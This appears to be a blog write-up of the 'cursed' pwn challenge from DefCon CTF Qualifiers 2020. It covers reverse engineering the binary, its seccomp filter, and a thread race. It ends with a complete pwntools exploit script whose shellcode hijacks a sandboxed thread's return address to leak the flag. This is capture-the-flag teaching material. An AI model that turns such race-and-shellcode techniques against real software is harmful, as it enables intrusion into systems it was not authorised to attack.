Defcon CTF Qualifiers 2020 - cursed

This is a pwn challenge I worked on for DefCon Qualifiers 2020.

I was playing with secret crown wtf a stacked team consisting of secret club, the cr0wn, and emwtf, which came in 18th on the scoreboard.


The challenge came with a single statically compiled binary.

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Reverse Engineering

FLIRT and function ID signatures were used to identify some static functions. Ultimately a lot of tedious RE work was needed which eventually revealed a seccomp “sandbox”.

Proof of Work

The program generates 0x10 bytes of random data, then reads 0x30 bytes. This is then hashed to ensure the first 3 bytes are 0x00.

Proof of Work

Figuring out the hashing algorithm required some manual inspection of the function. Googling the relevant libsodium headers gave me the signature.

Hashing algorithm string

Spawning the Other Thread

Child thread mmap

mmap a region of size 0x1000, starts a thread with a stack address in its own stack, reads in 0x1000 bytes of shellcode, and waits for the thread to be ready.

After this it sets up seccomp and calls the shellcode.

Seccomp Rules

By patching out the jump to shellcode with exit, I was able to dump the rules using seccomp-tools.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0f 0xc000003e  if (A != ARCH_X86_64) goto 0017
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x0c 0xffffffff  if (A != 0xffffffff) goto 0017
 0005: 0x15 0x0a 0x00 0x00000001  if (A == write) goto 0016
 0006: 0x15 0x09 0x00 0x00000003  if (A == close) goto 0016
 0007: 0x15 0x08 0x00 0x0000000b  if (A == munmap) goto 0016
 0008: 0x15 0x07 0x00 0x00000038  if (A == clone) goto 0016
 0009: 0x15 0x06 0x00 0x000000e7  if (A == exit_group) goto 0016
 0010: 0x15 0x00 0x04 0x0000000a  if (A != mprotect) goto 0015
 0011: 0x20 0x00 0x00 0x00000024  A = prot >> 32 # mprotect(start, len, prot)
 0012: 0x15 0x00 0x02 0x00000000  if (A != 0x0) goto 0015
 0013: 0x20 0x00 0x00 0x00000020  A = prot # mprotect(start, len, prot)
 0014: 0x15 0x01 0x00 0x00000000  if (A == 0x0) goto 0016
 0015: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS
 0016: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0017: 0x06 0x00 0x00 0x00000000  return KILL

Since we don’t have open and execve, we can’t open the flag file or spawn a shell. But we have write.

The Spawned Thread

The thread opens the flags and reads it onto the stack. It then opens bozo.bin and maps one page to memory with read and execute permissions.

It then releases the main thread from wait and executes code in the mapped region.

Child thread decompiled

Debugging

I break on entry with int3 for the register state.

Register state

We have register r13 pointing to our shellcode and rsp obviously pointing to the stack. Further inspection shows that the cloned thread’s stack is about 0x10c0 bytes away. What matters is the fixed offset.

The missing piece here is bozo.bin. Luckily it is also mapped to a fixed offset of 0x1000 from our shellcode so we can dump the contents from the remote server.

GDB vmmap

bozo.bin

Here’s the disassembled dump of bozo.bin. rdi is a pointer to stack, and rsi is a pointer to our shellcode region.

bozo.bin disassembled

The stack (which contains the flag) is read into xmm registers, then cleared with data from our shellcode. This is why dumping the child stack from our shellcode only resulted in garbage.

This thread then waits for the data pointed to by rbx to match what’s in xmm7. In this case, it was looking for 0x01, so we have a way to keep the child thread locked until our command.

It calls 0xbe8, which writes 8 dwords at random locations in our shellcode region, then returns.

The function called

rip control

call stores a return address in stack and ret read from it. So we can use our shellcode to race the spawned thread, repeatedly overwriting whatever is at the location of the return address with an address to code we control. Spawned thread rip control let’s us dump the xmm registers, hence leaking the flag - win.

Here’s my exploit.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./cursed --host cursed.challenges.ooo --port 29696
from pwn import *
from hashlib import blake2b

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./pow_patched')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'cursed.challenges.ooo'
port = int(args.PORT or 29696)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

def proof_of_work(nonce):
    log.info(f'Processing POW for {nonce}')
    for i in range(2 ** 384):
        work = i.to_bytes(48, 'little')
        hsh = blake2b(nonce + work, digest_size=0x10).digest()
        if hsh[0] | hsh[1] | hsh[2] == 0:
            log.info(f'Computed proof of work: {work}')
            return work

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak *0x{exe.entry:x}
tbreak *0x40a0c8
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

io = start()

# Do POW
if not args.LOCAL:
    proof = proof_of_work(io.recv(16))
    io.send(proof)
else:
    io.send(b'A' * 48)

# Return address offset: 0x10c0
# Release the child process from waiting
# Race the child for RIP control
main_thread = asm('''
    mov rsi, rsp
    sub rsi, 0x10c8

    mov rax, r13
    add rax, 0x400
    mov rbx, 1

    add r13, 0xff8
    mov [r13], rbx

_race_loop:
    mov [rsi], rax
    jmp _race_loop
''')

child_thread = asm('''
    mov rsi, rsp
    movdqu [rsi], xmm4
    sub rsi, 0x10
    movdqu [rsi], xmm3
    sub rsi, 0x10
    movdqu [rsi], xmm2
    sub rsi, 0x10
    movdqu [rsi], xmm1
    sub rsi, 0x10
    movdqu [rsi], xmm0
    mov rdx, 0x50
    mov rdi, 1
    mov rax, rdi
    syscall
_loop:
    nop
    jmp _loop
''')

payload = flat({
    0: main_thread,
    0x400: child_thread,
    0xff8: 0x00
}, length=0x1000, filler=b'\xcc')

# Send some random stack
io.send(payload)

io.interactive()

I think it’s a somewhat sexy solve.

Successful exploit

nankeen

Pwn, rev, and stuff.


By Kai, 2020-05-18